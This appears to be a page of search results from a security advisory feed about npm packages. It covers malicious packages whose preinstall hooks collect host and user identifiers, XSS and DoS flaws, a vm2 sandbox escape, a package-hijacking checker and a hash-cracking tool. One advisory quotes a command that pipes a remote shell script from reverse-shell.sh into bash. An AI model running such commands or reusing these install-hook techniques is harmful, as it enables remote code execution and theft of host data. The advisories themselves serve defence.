195882 matches found
Malicious code in internallib_v949 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...
NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer
NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer vulnerability discovered by ? in WordPress Npm msdoc-viewer versions = 0.2.1...
NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size DoS vulnerability discovered by ? in WordPress Npm adm-zip versions 0.6.1...
NPM: md-editor-v3: XSS via fenced-code language rendering bypass
NPM: md-editor-v3: XSS via fenced-code language rendering bypass vulnerability discovered by ? in WordPress Npm md-editor-v3 versions = 6.5.3...
MAL-2026-16288 Malicious code in test89-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b8794dc6672c38596cd891ce414dc2bce8c9db38cd8e08afc51b411415639e [email protected] runs node index.js from its preinstall lifecycle hook. On npm install, index.js collects host identity hostname, whoami, id, uname...
MAL-2026-16289 Malicious code in test890-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a873f4ca1e603a5d6dc6d888de73a7f2c766a66af13f56a49538034e1e8706fd On npm install, index.js runs as a preinstall script and collects installer-side identifiers - home directory path, hostname, username, configured DN...
Malicious code in test89-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b8794dc6672c38596cd891ce414dc2bce8c9db38cd8e08afc51b411415639e [email protected] runs node index.js from its preinstall lifecycle hook. On npm install, index.js collects host identity hostname, whoami, id, uname...
Malicious code in test890-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a873f4ca1e603a5d6dc6d888de73a7f2c766a66af13f56a49538034e1e8706fd On npm install, index.js runs as a preinstall script and collects installer-side identifiers - home directory path, hostname, username, configured DN...
Malicious code in test8999-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6edad84dcdfc0fbb2164a86dd74f831f3da2bc940794e1f157f9de2d159f7545 package.json declares a preinstall hook that runs index.js on npm install. index.js requires childprocess, os, http, and https, then collects host...
MAL-2026-16286 Malicious code in test8999-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6edad84dcdfc0fbb2164a86dd74f831f3da2bc940794e1f157f9de2d159f7545 package.json declares a preinstall hook that runs index.js on npm install. index.js requires childprocess, os, http, and https, then collects host...
Malicious code in test899-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 64702ec2b2b0fcc5ec6eb56e8ca63fc94d3ff54fdcd45509fcc9640ccbbffdcf On npm install, the package's preinstall hook executes index.js which collects installer host and identity information hostname, platform, OS release...
MAL-2026-16285 Malicious code in test899-auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 64702ec2b2b0fcc5ec6eb56e8ca63fc94d3ff54fdcd45509fcc9640ccbbffdcf On npm install, the package's preinstall hook executes index.js which collects installer host and identity information hostname, platform, OS release...
CVE-2021-26700
CVE-2021-26700 注記: このマニュアルはDSNSラボのメンバーのみ有効です。 はじめに これは、Microsoftが開発したVisual Studio Code VS Codeの拡張機能であるnpmに存在したリモートコード実行（RCE）脆弱性です。この拡張機能は、package.jsonファイルで定義されたnpmスクリプトの実行をサポートすることを目的としていました。...
hijagger
hijagger - ハイジャック可能なパッケージをパッケージレジストリからチェックする このツールは、NPM および Python Pypi レジストリ内のすべてのパッケージのすべてのメンテナーについて、未登録のドメインまたはそれらのドメイン上の未登録の MX レコードをチェックします。ドメインが未登録の場合、そのドメインを取得し、2 要素認証が有効になっていなければアカウントのパスワードリセットを開始できます。これにより、パッケージをハイジャックして、そのパッケージに対して任意の操作を行うことができます。...
dcipher-cli
dcipher-cli 터미널에서 바로 온라인 레인보우 및 룩업 테이블 공격 서비스를 사용하여 해시를 크랙합니다. 설치 root@kitploit: ❯❯❯ npm install -g dcipher-cli 사용법 root@kitploit: ❯❯❯ dcipher --help Crack hashes using online rainbow & lookup table attack services, right from your terminal. Usage ❯❯❯ dcipher ❯❯❯ echo | dcipher Options -p, --plai...
CVE-2026-93606
vm2 npm versions 3.12.0 and earlier contain a sandbox escape in VM and NodeVM. When an embedder exposes a host API that returns a host-realm Promise, the bridge's rejection sanitizer hostPromiseSanitizeReject / makeSanitizedPromiseCallback / normalizeHostPromiseCallbacks in lib/bridge.js only wra...
CVE-2021-43616
CVE-2021-43616 を示すリポジトリ / https://github.com/npm/cli/issues/2701 nodemodules フォルダを削除し、npx npm@8 ci を実行すると、npm が package-lock.json で 2.0.0 を要求しているにもかかわらず、バージョン 2.2.x このコミット時点では 2.2.16 をインストールする様子がわかります。 root@kitploit: cat nodemodules/shortid/package.json 元のインストール時の nodemodules をコミットしてあるので、npm ci...
ROOT-APP-NPM-CVE-2026-64645 CVE-2026-64645 in next - Patched by Root
Root has patched CVE-2026-64645 in the next package for Root:npm. Multiple fixed versions available...